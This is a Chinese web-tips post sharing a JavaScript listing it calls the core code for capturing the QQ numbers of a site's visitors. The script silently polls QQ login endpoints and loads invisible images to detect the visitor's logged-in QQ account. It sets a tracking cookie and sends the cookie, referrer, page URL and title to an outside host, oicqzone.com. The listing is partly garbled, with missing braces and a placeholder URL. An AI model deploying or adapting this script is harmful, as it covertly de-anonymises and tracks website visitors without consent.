首页 > 上网技巧 > 电脑小技巧 > 获取网页访客QQ号码核心代码

获取网页访客QQ号码核心代码

时间:2014-08-22 09:06 作者:QQ地带 我要评论

 

  1. var div_box_qq; 
  2. (function() { 
  3. var i_php = "http://www.oicqzone.com/"
  4. var i_uid = "149"
  5. var i_need_login = false
  6. var loginTips = "\u7ee7\u7eed\u8bbf\u95ee"
  7. //继续访问 
  8. function showEnterQQiFrame(url) { 
  9. div_box_qq = document.createElement("div"); 
  10. div_box_qq.style.verticalAlign = "middle"
  11. div_box_qq.style.textAlign = "center"
  12. div_box_qq.style.position = "absolute"
  13. div_box_qq.style.width = "100%"
  14. div_box_qq.style.height = "100%"
  15. div_box_qq.style.top = 0
  16. div_box_qq.style.left = 0
  17. div_box_qq.style.lineHeight = 24
  18. div_box_qq.style.background = "#FFF"
  19. div_box_qq.style.visibility = "visible"
  20. div_box_qq.innerHTML = '<a href="' + url + '" target="_blank" onclick="document.body.removeChild(div_box_qq)">' + loginTips + '</a>'; 
  21. document.body.appendChild(div_box_qq) 
  22. function _init_send_by_iframe(uincookie, other) { 
  23. var i_referrer = encodeURIComponent(document.referrer); 
  24. var i_url = encodeURIComponent(document.location.href); 
  25. var i_title = encodeURIComponent(document.title); 
  26. var url = i_php + "?action=saveQQ" + other; 
  27. url += "&uid=" + i_uid; 
  28. url += "&meishi=100425707,100360445"; 
  29. url += "&uincookie=" + uincookie; 
  30. url += "&referrer=" + i_referrer; 
  31. url += "&url=" + i_url; 
  32. url += "&title=" + i_title; 
  33. url += "&r=" + (new Date()).getTime(); 
  34. var oHead = document.getElementsByTagName('HEAD').item(0); 
  35. var oScript = document.createElement("script"); 
  36. oScript.type = "text/javascript"
  37. oScript.src = url
  38. oHead.appendChild(oScript) 
  39. function SetCookie(name, value) { 
  40. var exp = new Date(); 
  41. exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000); 
  42. document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() 
  43. function GetCookie(name) { 
  44. var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)")); 
  45. if (arr != null) return unescape(arr[2]); 
  46. return null 
  47. function insertFrame() { 
  48. var img = new Image(); 
  49. img.src = "http://app.data.qq.com/?umod=user&uid=100425707&t=" + (new Date()).getTime(); 
  50. img.width = 0
  51. img.height = 0
  52. img.border = 0
  53. document.body.appendChild(img); 
  54. img = new Image(); 
  55. img.src = "XXX.W的个人中心" + (new Date()).getTime(); 
  56. img.width = 0
  57. img.height = 0
  58. img.border = 0
  59. if (img.attachEvent) { 
  60. img.attachEvent("onerror", 
  61. function() { 
  62. newSubmit() 
  63. }); 
  64. img.attachEvent("onload", 
  65. function() { 
  66. newSubmit() 
  67. }); 
  68. img.attachEvent("onabort", 
  69. function() { 
  70. newSubmit() 
  71. }) 
  72. } else { 
  73. img.onerror = function() { 
  74. newSubmit() 
  75. }; 
  76. img.onload = function() { 
  77. newSubmit() 
  78. }; 
  79. img.onabort = function() { 
  80. newSubmit() 
  81. document.body.appendChild(img) 
  82. var isSubmited = false
  83. function newSubmit() { 
  84. if (isSubmited) { 
  85. return 
  86. isSubmited = true
  87. var uincookie = GetCookie("uincookie"); 
  88. if (uincookie == null) { 
  89. uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000); 
  90. SetCookie("uincookie", uincookie) 
  91. _init_send_by_iframe(uincookie, "") 
  92. var checkTime = 0
  93. function isLogin() { 
  94. var code = null
  95. if (typeof(data3) == "undefined") { 
  96. code = data0.err 
  97. } else { 
  98. code = data3.err 
  99. if (code == 1007 || code == 1002 || code == 1026) { 
  100. window.clearInterval(isLoginTimeID); 
  101. insertFrame() 
  102. } else { 
  103. var uincookie = GetCookie("uincookie"); 
  104. if (uincookie != null) { 
  105. window.clearInterval(isLoginTimeID); 
  106. _init_send_by_iframe(uincookie, "&do=uincookie") 
  107. } else { 
  108. if (checkTime++==1 && i_need_login) { 
  109. showEnterQQiFrame(i_php + "?action=loginqqiframe") 
  110. var checkscript = document.getElementById("checkloginscript"); 
  111. checkscript.parentNode.removeChild(checkscript) 
  112. var isLoginTimeID; 
  113. function dynamicLoad() { 
  114. var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date()).getTime(); 
  115. var oHead = document.getElementsByTagName('HEAD').item(0); 
  116. var oScript = document.createElement("script"); 
  117. oScript.type = "text/javascript"
  118. oScript.id = "checkloginscript"
  119. if (oScript.readyState) { 
  120. oScript.onreadystatechange = function() { 
  121. if (oScript.readyState == "loaded" || oScript.readyState == "complete") { 
  122. oScript.onreadystatechange = null
  123. isLogin() 
  124. } else { 
  125. oScript.onload = function() { 
  126. isLogin() 
  127. oScript.src = vsrc
  128. oHead.appendChild(oScript) 
  129. dynamicLoad(); 
  130. isLoginTimeID = window.setInterval(dynamicLoad, 3000) 
  131. })(); 

 

这是目前最火的获取访客QQ号码的核心代码,分享给大家,希望有人能够研究出来。


标签: QQ号码
顶一下
(2)
100%
踩一下
(0)
0%

Google提供的广告